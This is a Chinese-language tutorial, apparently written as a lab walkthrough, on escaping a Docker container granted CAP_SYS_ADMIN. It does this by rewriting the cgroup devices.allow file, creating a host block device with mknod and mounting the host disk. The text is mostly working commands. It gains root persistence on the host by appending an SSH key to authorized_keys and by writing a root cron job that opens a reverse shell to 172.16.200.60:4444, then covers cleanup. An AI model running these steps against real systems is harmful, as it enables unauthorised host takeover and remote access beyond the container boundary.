CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
当容器具有SYS_ADMIN的Capability的话,则可以进行容器逃逸。它允许大量的特权操作,包括mount文件系统,交换空间,还有对各种设备的操作以及系统调试相关的调用。
环境搭建
执行如下命令启动存在漏洞的容器环境,在赋予sys_admin权限的同时,需要关掉安全组apparmor设置
docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
在容器中使用cdk进行检测,可以看到容器中多了CAP_SYS_ADMIN的Capability
也可以手动检测Capability
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb
重写devices.allow进行容器逃逸
devices子系统用于配制允许或者阻止cgroup中的task访问某个设备,起到黑白名单的作用,其中包括devices.allow、devices.deny、devices.list。本次逃逸方式需要用到需要用到devices.allow文件,该文件记录该cgroup中能够访问的设备列表
- type表示类型,可以为 a(all), c(char), b(block)
- major:minor 代表设备编号,两个标号都可以用代替表示所有,比如:*代表所有的设备
- accss表示访问方式,可以为r(read),w(write), m(mknod)的组合
在容器内挂载宿主机cgroup的devices
#-t指定挂载的类型,-o指定挂载的选项
mkdir /tmp/test && mount -t cgroup -o devices devices /tmp/test
在容器内查找容器的ID,并且切换到该ID对应的目录下,设置容器允许访问所有类型设备,即devices.allow文件值为a。
#查找容器的ID
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*\/docker\/\(.*\)/\1/g'
#切换到ID对应的目录下
cd /tmp/test/system.slice/容器ID/
#设置容器允许访问所有类型设备
echo a > devices.allow
接下来需要获取当前容器的node号和文件系统类型,由于容器内的/etc/hosts、/etc/resolv.conf、/etc/hostname这三个文件是默认从宿主机挂载进容器的,所以在他们的挂载信息内很容易能获取到主设备号ID。
执行如下命令查看/etc目录的node号和文件系统类型。
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
在根目录下执行如下命令创建设备文件host
mknod host b 252 5
然后就可以对宿主机进行文件读写操作了,后续操作需要看容器是什么文件系统。
如果是xfs文件系统,则需要执行如下命令挂载设备文件host
#挂载设备文件host到/tmp/test2
mkdir /tmp/test2 && mount host /tmp/test2
执行如下命令写入SSH公钥进行免密登录
#切换到挂载的目录
cd /tmp/test2/root/.ssh/
#写入SSH公钥
echo "公钥内容" >> /tmp/test2/root/.ssh/authorized_keys
然后就可以免密登录了
执行如下命令写入计划任务反弹shell
#切换到挂载的目录
cd /tmp/test2/var/spool/cron
#写入反弹shell的命令
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.60/4444 0>&1" > root
注:如果宿主机是Ubuntu系统的话,计划任务反弹shell会有问题。这是Ubuntu计划任务反弹shell的问题。
最后利用完之后,可以执行如下命令清除挂载和删除设备文件host
#取消host挂载
umount host
#删除host设备文件
rm host